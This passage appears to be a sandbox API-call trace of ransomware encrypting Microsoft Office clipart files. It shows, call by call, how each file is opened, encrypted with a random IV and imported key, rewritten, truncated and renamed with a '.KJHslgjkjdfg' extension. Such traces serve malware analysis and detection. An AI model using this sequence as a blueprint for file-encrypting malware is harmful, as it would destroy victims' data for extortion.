(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.kjhslgjkjdfg")) returned 1 [0188.752] CloseHandle (hObject=0x114) returned 1 [0188.752] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0188.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.753] GetProcessHeap () returned 0x2a0000 [0188.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.753] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.753] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.755] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.755] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.755] GetProcessHeap () returned 0x2a0000 [0188.756] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.756] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.756] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.756] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.756] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.756] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x307f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x307f8, lpOverlapped=0x0) returned 1 [0188.760] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30800, dwBufLen=0x30800 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30800) returned 1 [0188.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.763] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30800, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30800, lpOverlapped=0x0) returned 1 [0188.764] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x308d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.764] SetEndOfFile (hFile=0x114) returned 1 [0188.768] GetProcessHeap () returned 0x2a0000 [0188.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.768] GetProcessHeap () returned 0x2a0000 [0188.768] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.kjhslgjkjdfg")) returned 1 [0188.770] CloseHandle (hObject=0x114) returned 1 [0188.770] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2322a600, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2322a600, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xa0d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02759J.JPG", cAlternateFileName="")) returned 1 [0188.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.772] GetProcessHeap () returned 0x2a0000 [0188.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.772] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0188.775] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.775] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.775] GetProcessHeap () returned 0x2a0000 [0188.775] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.775] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.775] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.775] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.775] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.776] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.776] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.776] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.776] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.776] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.776] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa0d2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa0d2, lpOverlapped=0x0) returned 1 [0188.778] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa0e0, dwBufLen=0xa0e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa0e0) returned 1 [0188.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.778] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa0e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa0e0, lpOverlapped=0x0) returned 1 [0188.778] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.779] SetEndOfFile (hFile=0x114) returned 1 [0188.781] GetProcessHeap () returned 0x2a0000 [0188.781] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.782] GetProcessHeap () returned 0x2a0000 [0188.782] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.kjhslgjkjdfg")) returned 1 [0188.783] CloseHandle (hObject=0x114) returned 1 [0188.784] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcb03b00, ftCreationTime.dwHighDateTime=0x1bd4e50, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcb03b00, ftLastWriteTime.dwHighDateTime=0x1bd4e50, nFileSizeHigh=0x0, nFileSizeLow=0xc5d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02810J.JPG", cAlternateFileName="")) returned 1 [0188.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.785] GetProcessHeap () returned 0x2a0000 [0188.785] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.785] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.785] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.785] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0188.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.788] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.788] GetProcessHeap () returned 0x2a0000 [0188.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.788] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.788] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.788] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.788] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.788] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.788] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.789] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.789] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc5d7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc5d7, lpOverlapped=0x0) returned 1 [0188.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc5e0, dwBufLen=0xc5e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc5e0) returned 1 [0188.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.791] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc5e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc5e0, lpOverlapped=0x0) returned 1 [0188.791] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.791] SetEndOfFile (hFile=0x114) returned 1 [0188.794] GetProcessHeap () returned 0x2a0000 [0188.794] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.794] GetProcessHeap () returned 0x2a0000 [0188.794] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.kjhslgjkjdfg")) returned 1 [0188.796] CloseHandle (hObject=0x114) returned 1 [0188.796] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81187900, ftCreationTime.dwHighDateTime=0x1bd4c19, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81187900, ftLastWriteTime.dwHighDateTime=0x1bd4c19, nFileSizeHigh=0x0, nFileSizeLow=0xf438, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02829J.JPG", cAlternateFileName="")) returned 1 [0188.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.798] GetProcessHeap () returned 0x2a0000 [0188.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.798] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.798] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.800] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.800] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.800] GetProcessHeap () returned 0x2a0000 [0188.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.800] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.801] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.801] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.801] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.801] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.801] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.801] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.801] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.801] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf438, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf438, lpOverlapped=0x0) returned 1 [0188.803] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf440, dwBufLen=0xf440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xf440) returned 1 [0188.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.804] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xf440, lpOverlapped=0x0) returned 1 [0188.805] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.805] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.805] SetEndOfFile (hFile=0x114) returned 1 [0188.808] GetProcessHeap () returned 0x2a0000 [0188.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.808] GetProcessHeap () returned 0x2a0000 [0188.808] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.808] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.kjhslgjkjdfg")) returned 1 [0188.810] CloseHandle (hObject=0x114) returned 1 [0188.810] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66374600, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66374600, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02845G.GIF", cAlternateFileName="")) returned 1 [0188.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.813] GetProcessHeap () returned 0x2a0000 [0188.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.813] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, 